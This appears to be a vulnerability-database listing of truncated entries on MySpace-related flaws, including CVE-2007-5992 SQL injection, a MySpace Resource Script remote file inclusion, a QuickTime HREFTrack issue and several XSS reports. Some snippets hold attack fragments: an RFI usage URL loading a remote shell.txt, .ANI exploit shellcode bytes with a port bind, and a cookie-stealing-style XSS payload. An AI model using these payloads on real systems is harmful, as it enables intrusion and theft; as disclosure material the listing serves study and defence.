CVE-2007-5992

SQL injection vulnerability in index.php in datecomm Social Networking Script aka Myspace Clone Script allows remote attackers to execute arbitrary SQL commands via the seid parameter in a viewcat s action on the forums page...

CVE-2007-5992

The CVE-2007-5992 case concerns SQL injection in the datecomm Social Networking Script (aka Myspace Clone Script). Affected code path is index.php via the seid parameter in a viewcat action on the forums page, enabling remote attackers to execute arbitrary SQL commands. The vulnerability is descr...

Myspace Clone Script Remote SQL Injection Vulnerability

No description provided by source. --==+================================================================================+==-- --==+ Myspace Clone Script SQL Injection Vulnerabilitys +==-- --==+================================================================================+==-- AUTHOR: t0pP8uZz &...

Myspace Clone Script Remote SQL Injection Vulnerability

Exploit for unknown platform in category web applications ======================================================= Myspace Clone Script Remote SQL Injection Vulnerability =======================================================...

Myspace Clone Script - SQL Injection

--==+================================================================================+==-- --==+ Myspace Clone Script SQL Injection Vulnerabilitys +==-- --==+================================================================================+==-- AUTHOR: t0pP8uZz & xprog SITE: datecomm.com DORK...

Myspace Clone Script - SQL Injection

Myspace Clone Script - SQL Injection --==+================================================================================+==-- --==+ Myspace Clone Script SQL Injection Vulnerabilitys +==-- --==+================================================================================+==-- AUTHOR: t0pP8uZz...

MySpace Resource Script Breadcrumb.PHP远程文件包含漏洞

MySpace Resource Script是一款基于PHP的WEB应用程序。 MySpace Resource Script不正确过滤用户提交的URI数据，远程攻击者可以利用漏洞以WEB权限执行任意PHP代码。 问题是由于'Breadcrumb.PHP'脚本对用户提交的'rootBase'参数缺少过滤，指定远程服务器上的任意文件作为包含参数，可导致以WEB权限执行任意PHP代码。 MySpacePros MySpace Resource Script MSRS 1.21 目前没有详细解决方案提供： http://www.myspacepros.com/products/...

Remote file inclusion

PHP remote file inclusion vulnerability in theme/breadcrumb.php in MySpacePros MySpace Resource Script MSRS 1.21 allows remote attackers to execute arbitrary PHP code via a URL in the rootBase parameter...

MySpace Resource Script (MSRS) 1.21 RFI Vulnerability

No description provided by source. MSRS v.1.21 Remote File Inclusion Author Site : http://www.myspacepros.com/ POC : /theme/breadcrumb.php Line No. 3 ?php include$rootBase . '/inc/breadcrumb.php'; ? Usage : http://site.com/theme/breadcrumb.php?rootBase=http://domain.com/shell.txt? D0rks :...

msani-cursor.txt

/ .ANI exploit tested on Windows XP SP2 - Portuguese Shellcode port bind 13579 JMP ESP Addr - ntdll.dll Greetz: Marsu, Devcode, Str0ke, Dave, Sekure.org guys, Sauna. Exploit coded listen sauna hits Featuring Luiz Zanardo's gigs "Minoide -\x52\x49\x46\x46\x00\x04\x00\x41" @...

MOAB-03-01-2007: Apple Quicktime HREFTrack Cross-Zone Scripting vulnerability

Summary A month ago, a vulnerability in QuickTime was exploited to spread a worm in MySpace. The vulnerability was first published by pdp. In his article, pdp describes how HREFTrack attribute in .mov files can be used for malicious scripting. The MySpace worm abused this vulnerability in a...

Cross site scripting

Cross-zone scripting vulnerability in Apple Quicktime 3 to 7.1.3 allows remote user-assisted attackers to execute arbitrary code and list filesystem contents via a QuickTime movie .MOV with an HREF Track HREFTrack that contains an automatic action tag with a local URI, which is executed in a loca...

CVE-2007-0059

Cross-zone scripting vulnerability in Apple Quicktime 3 to 7.1.3 allows remote user-assisted attackers to execute arbitrary code and list filesystem contents via a QuickTime movie .MOV with an HREF Track HREFTrack that contains an automatic action tag with a local URI, which is executed in a loca...

CVE-2007-0059

Cross-zone scripting vulnerability in Apple Quicktime 3 to 7.1.3 allows remote user-assisted attackers to execute arbitrary code and list filesystem contents via a QuickTime movie .MOV with an HREF Track HREFTrack that contains an automatic action tag with a local URI, which is executed in a loca...

MySpace fails to properly filter user-supplied content

Overview The MySpace web site fails to properly filter user-supplied content, which may allow for cross-site scripting. Description MySpace is a social networking web site that allows users to post blog entries, photos, videos, and other content. MySpace blocks user-supplied JavaScript and VBScri...

Appalling analysis 2 0 0 0 0 a MySpace password-vulnerability warning-the black bar safety net

If you don't believe online how dangerous, then, may wish to look at this report, although such as the Nigerian Scam and other means has been widely known and recognized, but fully no one was going to believe it also wouldn't have this way. A foreign friend once accidentally got a MySpace in 2 0 ...

freecodesource.txt

Freecodesource.com is a distributor of myspace profile mods and general crapola. They provide an swf file which allows a myspace user to pop an alert box on profile page load, with custom text; the text is extracted from the url of the swf file, then used as a get parameter 'what' to the url...

Myspace Friend Train v2.8

Myspace Friend Train v2.8 Full path disclosure & possible SQL injection. BRBR Its possible to put ' in the input myspace ID box to get the error. Example of the error is below: BRBR bInvalid query: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server versio...

multiVulns.txt

Multi-CMS/Forum Vulnability's Found by ap0c hackers pacifico & ratboy Yo! Ok, well a couple new vulnabilitys have been found by.. us : ------------------ First; e107 xss--- ------------------ link=http://w000000w00tw00t/asdadLIlink= onMouseOver='alertdocument.cookie;'...

Multiple CMS/Forum Vulnablilties

Multi-CMS/Forum Vulnability's Found by ap0c hackers pacifico & ratboy Yo! Ok, well a couple new vulnabilitys have been found by.. us : ------------------ First; e107 xss--- ------------------ link=http://w000000w00tw00t/asdadLIlink= onMouseOver='alertdocument.cookie;' h1d3="size=24HIGHLIGHT...